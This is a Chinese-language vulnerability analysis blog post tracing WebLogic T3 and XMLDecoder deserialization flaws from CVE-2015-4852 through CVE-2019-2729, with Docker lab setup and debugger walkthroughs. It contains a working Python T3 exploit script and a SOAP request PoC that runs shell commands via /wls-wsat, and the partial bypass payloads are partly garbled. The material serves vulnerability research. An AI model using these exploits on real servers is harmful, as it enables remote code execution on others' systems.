声明
以下内容，来自由moon_flower作者原创，由于传播，利用此文所提供的信息而造成的任何直接或间接的后果和损失，均由使用者本人负责，长白山攻防实验室以及文章作者不承担任何责任。
环境搭建
链接：
https://github.com/QAXA-Team/WeblogicEnvironment
需要自行下载对应版本的jdk和weblogic放入对应文件夹中
docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=wls1036_generic.jar -t weblogic1036jdk7u21 .
docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk7u21 weblogic1036jdk7u21
访问
http://localhost:7001/console/login/LoginForm.jsp出现登录页面
新建 middleware 作为用于调试的文件夹
dir ./middleware docker cp weblogic1036jdk7u21:/weblogic/oracle/middleware/modules ./middleware/ docker cp weblogic1036jdk7u21:/weblogic/oracle/middleware/wlserver ./middleware/ docker cp weblogic1036jdk7u21:/weblogic/oracle/middleware/coherence_3.7/lib ./coherence_3.7/lib
ShellCopy
然后用IDEA打开，导入wlserver/server/lib（Add as Library)，之后设置远程调试端口为8453。打开WLSServletAdapter 类，129行下断点。
访问
http://localhost:7001/wlswsat/CoordinatorPortType ，若成功拦截，则环境配置完毕。
CVE-2015-4852
T3 反序列化漏洞
关于weblogic漏洞所需的基础知识可参考这位dalao的文章：
https://paper.seebug.org/1012/#weblogic_8.
漏洞点在：
weblogic.rjvm.InboundMsgAbbrev#readObject
t3协议的数据流会走这个类，关注readObject之后的操作，查看 ServerChannelInputStream 类中的具体方法。
漂亮！resolveClass中什么防御都无。其中resolveClass是readObject底层流程要走的函数，shiro反序列化中因为shiro框架对resolveClass进行了重写导致部分CC链打不了。在weblogic后续的补丁中也是对这个方法进行了修改。
看一下 weblogic 自带的 CC 链
poc:
from os import popen import struct # 负责大小端的转换 import subprocess from sys import stdout import socket import re import binascii def generatePayload(gadget,cmd): YSO_PATH = "D:/javaweb/ysoserial/target/ysoserial-0.0.6-SNAPSHOT-all.jar" popen = subprocess.Popen(['java','-jar',YSO_PATH,gadget,cmd],stdout=subprocess.PIPE) return popen.stdout.read() def T3Exploit(ip,port,payload): sock =socket.socket(socket.AF_INET,socket.SOCK_STREAM) sock.connect((ip,port)) handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n" sock.sendall(handshake.encode()) data = sock.recv(1024) compile = re.compile("HELO:(.*).0.false") match = compile.findall(data.decode()) if match: print("Weblogic: "+"".join(match)) else: print("Not Weblogic") return header = binascii.a2b_hex(b"00000000") t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006") desflag = binascii.a2b_hex(b"fe010000") payload = header + t3header +desflag+ payload payload = struct.pack(">I",len(payload)) + payload[4:] sock.send(payload) if __name__ == "__main__": ip = "172.21.65.112" port = 7001 gadget = "CommonsCollections1" cmd = "touch /tmp/CVE-2015-4852" payload = generatePayload(gadget,cmd) T3Exploit(ip,port,payload)
PythonCopy
CVE-2016-0638
CVE-2015-4852 修复后的绕过
在补丁p21984589_1036_Generic 中，在ServerCh-annelInputStream的resolveClass中引入ClassFilter.isBlackListed进行过滤，但菜鸡的我没有找到补丁文件。
这里放一张参考文献中dalao的图：
其实之后的t3反序列化就是变着花的绕黑名单了。
补充信息：在Weblogic从流量中的序列化类字节段通过readClassDescreadNonProxyDescresolve
Class获取到普通类序列化数据的类对象后，程序依次尝试调用类对象中的readObject、readResolve、readExternal等方法。
在这里需要找的就是其他类的反序列化方法，其中 weblogic.jms.common.StreamMessageImpl 没在黑名单中，在其中的 readExternal 方法中，new 了一个没有被黑名单过滤的对象，并执行了这个对象的 readObject，造成了二次反序列化。
再关注一下这个 var4 是怎么来的
然后把流和一个int传入copyPayloadFromStream中
流进到了createOneSharedChunk中
创建了一个chunk，readExternal 的后续操作就是从中读取数据并进行了反序列化。这里使用工具
https://github.com/5up3rc/weblogic_cmd进行分析IDEA打开工具，配置执行环境，导入tools包(jdk/lib/tool.jar)中，然后打断点。
然后开始debug，经过参数解析后进入blindExecute
然后进入到SerialDataGenerator.serialBlindDatas
分别跟踪这两个函数实现
拼起来正好是一条CC1。但没完，返回之前还要进入 BypassPayloadSelector.selectBypass ，这一方法用来处理原生链中本应该直接进行反序列化的对象（二次反序列化包装）。
在Serializables.serialize中进行序列化
然后调用到最终要反序列化的StreamMessageImpl
接着send payload 的实现就和上文CVE-2015-4852的poc的实现差不多了，构造t3数据包然后发送。
CVE-2016-3510
CVE-2015-4852的另一种绕过方式这次选用的类是
weblogic.corba.utils.MarshalledObject
其中的readResolve会读取objBytes的值赋给新new的ois，然后将其进行反序列化。
在weblogic_cmd的Main函数中修改一下TYPE
在selectBypass的时候换了一个对象
进入到MarshalledObject，之后进行正常的序列化。
CVE-2017-3506
XMLDecoder反序列化，基础知识可参考
https://paper.seebug.org/1012/#weblogic_8，这里先写个demo跟一下XMLDecoder的过程。
poc.xml
calcstring>
void>
array>
object>
java>
Main.java
import java.beans.XMLDecoder;
import java.io.*;
public class Main {
public static void main(String[] args) throws IOException, InterruptedException { File file = new File("poc.xml的绝对路径"); XMLDecoder xd = null; try { xd = new XMLDecoder(new BufferedInputStream(new FileInputStream(file))); } catch (Exception e) { e.printStackTrace(); } Object s2 = xd.readObject();
xd.close(); } }
第9行下个断点，跟进XMLDecoder 类，发现这里首先new了一个 DocumentHandler 对象
首先对各种标签的解析
最后在处调用 getValue，得到类的实例。
补上一张@fnmsd给出的XMLDecoder解析xml的流程图解释整个调用过程
然后就是追一下weblogic 是在哪调用XMLDecoder的poc:
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 172.21.65.112:7001 User-Agent: Mozilla/5.0 (Windows NT 10.0;
Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Connection: close Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0 Content-Length: 824 Accept-Encoding: gzip, deflate SOAPAction: Accept: */* User-Agent: Apache-HttpClient/4.1.1 (java 1.5) Connection: keep-alive Content-Type: text/xml/bin/bashstring> void> -cstring> void> touch /tmp/CVE-2017-3506string> void> array> void> java> work:WorkContext> soapenv:Header> soapenv:Envelope>
断点下在WorkContextTube#readHeaderOld 上，然后进入receive中
持续跟进到eadUTF中，发现反序列化操作
CVE-2017-10271
CVE-2017-3506 绕过，先看一下官方的补丁
private void validate(InputStream is) {
WebLogicSAXParserFactory fact
ory = new WebLogicSAXParserFactory();
try
{
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler()
{
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException { if(qName.equalsIgnoreCase("object")) { throw new IllegalStateException("Invalid context type: object"); } } }); } catch (ParserConfigurationException var5) { throw new IllegalStateException("Parser Exception", var5); } catch (SAXException var6) { throw new IllegalStateException("Parser Exception", var6); } catch (IOException var7) { throw new IllegalStateException("Parser Exception", var7); } }
重点就是这：
if(qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid context type: object");
标签是object的时候报错，是不很理解为什么这么修，这里把object标签换成 void标签照样可以执行命令。
除了把isArgument从true变成false外全部继承ObjectElementHandler。
CVE-2019-2725
CVE-2017-10271绕过 + 新的反序列化组件
首先看新的_async 中存在的反序列化触发点
（访问路径：/_async/AsyncResponseService）
从接收服务开始的完整解析过程详见
https://www.anquanke.com/post/id/177381,这里只重点关注触发漏洞部分。请求从BaseWSServlet开始，断点下在service方法，一直跟进到run
跟进到处理请求的部分，注意这里接收到的信息是以Soap协议解析的
解析后的东西放在了var7中，然后跟一下var7的invoke方法
在进行soap的初始化后进入dispatch 中，跟进到handleRequest中
在WorkContextXmlInputAdapter中调用了XML-Decoder
跟进receiveRequest方法中，发现调用了readUTF，剩下的流程接上前面分析的就可以了。
关于补丁的绕过，先分析一下补丁代码：
private void validate(InputStream is) {
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try {
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler() {
private int overallarraylength = 0;
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException { if(qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid element qName:object");
}
else if(qName.equalsIgnoreCase("new")) {
throw new IllegalStateException("Invalid element qName:new"); } else if(qName.equalsIgnoreCase("method")) { throw new IllegalStateException("Invalid element qName:method"); } else { if(qName.equalsIgnoreCase("void")) { for(int attClass = 0; attClass < attributes.getLength(); ++attClass) { if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) { throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass)); } } } if(qName.equalsIgnoreCase("array")) { String var9 = attributes.getValue("class"); if(var9 != null && !var9.equalsIgnoreCase("byte")) { throw new IllegalStateException("The value of class attribute is not valid for array element."); }
解释一下就是ban掉了object、new、method标签，如果使用void标签，只能有index属性，如果使用array标签，且标签使用的是class属性，则它的值只能是byte。
那么我们需要找一个参数是byte 类型的类尝试反序列化，这里采用的 jdk7u21的那条链。
7u21的命令执行部分是将Templateslmpl对象的 _bytecodes 动态生成为对象，于是该类的static block和构造函数便会自动执行，造成命令执行。
poc (部分):
oracle.toplink.internal.sessions.UnitOfWorkChangeSetstring>-84byte>
... ...
array>void>class>
java>
work:WorkContext>
soapenv:Header>
soapenv:Envelope>
CVE-2019-2729
CVE-2019-2725 绕过具体挖掘细节可参考
https://xz.aliyun.com/t/5448，这里给出最后结论.
poc:(jdk1.6可行)
oracle.toplink.internal.sessions.UnitOfWorkChangeSetstring>
...
array>
void>
array>
java>
work:WorkContext>
soapenv:Header>
soapenv:Envelope>
在jdk1.7中, array 标签并不会受理method 属性(没有意义), 但在jdk1.6中的实现方法是:
}
else if (var1 == "array") {
var14 = (String)var3.get("class");
Class var10 = var14 == null ? Object.class : this.classForName2(var14);
var11 = (String)var3.get("length");
if (var11 != null) {
var4.setTarget(Array.class);
var4.addArg(var10);
var4.addArg(new Integer(var11));
}
它将所有的标签属性进行统一处理，但是又没有进行有效性验证, 所以出现了绕过.
参考
-
http://redteam.today/2020/03/25/weblogic%E5%8E%86%E5%8F%2T3%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%8F%8A%E8%A1%A5%E4%B8%81%E6%A2%B3%E7%90%86/
-
https://www.cnblogs.com/nice0e3/p/14201884.html
-
https://www.cnblogs.com/nice0e3/p/14207435.html
-
https://xz.aliyun.com/t/8443
-
https://www.anquanke.com/post/id/250801
-
https://www.anquanke.com/post/id/251921
-
https://www.cnblogs.com/nice0e3/p/14269444.html
-
https://www.cnblogs.com/nice0e3/p/14275298.html
-
https://www.cnblogs.com/ph4nt0mer/p/11772709.html
-
https://www.anquanke.com/post/id/180725
-
https://www.anquanke.com/post/id/226575
-
https://www.anquanke.com/post/id/177381
-
https://xz.aliyun.com/t/5448
欢迎关注微信公众号：
长白山攻防实验室，定时更新优质文章内容
扫一扫
1931
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
